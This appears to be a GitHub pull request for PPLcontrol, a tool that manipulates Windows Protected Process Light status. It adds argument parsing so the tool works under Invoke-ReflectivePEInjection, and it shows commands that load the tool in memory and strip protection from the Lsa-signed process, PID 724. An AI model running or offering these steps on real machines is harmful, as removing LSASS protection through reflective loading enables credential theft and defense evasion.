Skip to content

Conversation

@HopHouse
Copy link

@HopHouse HopHouse commented Jun 9, 2023

I made modifications on how command line arguments are handled in order to make the tool compatible with Invoke-ReflectivePEInjection. Arguments were not used by the software program when argc and argv are in use.

I used shellapi functions CommandLineToArgvW() and GetCommandLineW() to parse arguments.
This workaround is mentioned here : https://twitter.com/ShitSecure/status/1459134838431272960?s=20

Now it is working fine :

PS > Import-Module .\Invoke-ReflectivePEInjection.ps1
PS > $pe = [System.IO.File]::ReadAllBytes(".\PPLcontrol.exe")
PS > Invoke-ReflectivePEInjection -PEBytes $pe -ExeArgs "list" -DoNotZeroMZ

   PID  |  Level  |     Signer      |     EXE sig. level    |     DLL sig. level    |    Kernel addr.
 -------+---------+-----------------+-----------------------+-----------------------+--------------------
      4 | PP  (2) | WinSystem   (7) | WindowsTcb     (0x1e) | Windows        (0x1c) | 0xffff9387dc483040
    108 | PP  (2) | WinSystem   (7) | Unchecked      (0x00) | Unchecked      (0x00) | 0xffff9387dc4e5080
    328 | PPL (1) | WinTcb      (6) | WindowsTcb     (0x3e) | Windows        (0x0c) | 0xffff9387dd1b3080
    440 | PPL (1) | WinTcb      (6) | WindowsTcb     (0x3e) | Windows        (0x0c) | 0xffff9387dd021180
    552 | PPL (1) | WinTcb      (6) | WindowsTcb     (0x3e) | Windows        (0x0c) | 0xffff9387ddeb00c0
    560 | PPL (1) | WinTcb      (6) | WindowsTcb     (0x3e) | Windows        (0x0c) | 0xffff9387ddfa0180
    676 | PPL (1) | WinTcb      (6) | WindowsTcb     (0x3e) | Windows        (0x0c) | 0xffff9387de61e080
    724 | PPL (1) | Lsa         (4) | Windows        (0x0c) | Microsoft      (0x08) | 0xffff9387de630080
   1704 | PP  (2) | WinSystem   (7) | Unchecked      (0x00) | Unchecked      (0x00) | 0xffff9387e2113080
   8332 | PPL (1) | Windows     (5) | Windows        (0x3c) | Windows        (0x0c) | 0xffff9387e3b46300
   7956 | PP  (2) | WinTcb      (6) | WindowsTcb     (0x1e) | Windows        (0x1c) | 0xffff9387e35f4080
   8656 | PPL (1) | Windows     (5) | Windows        (0x3c) | Windows        (0x0c) | 0xffff9387e38f1080

[+] Enumerated 12 protected processes.

PS > Invoke-ReflectivePEInjection -PEBytes $pe -ExeArgs "unprotect 724" -DoNotZeroMZ
[+] The process with PID 724 is no longer a PP(L).

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant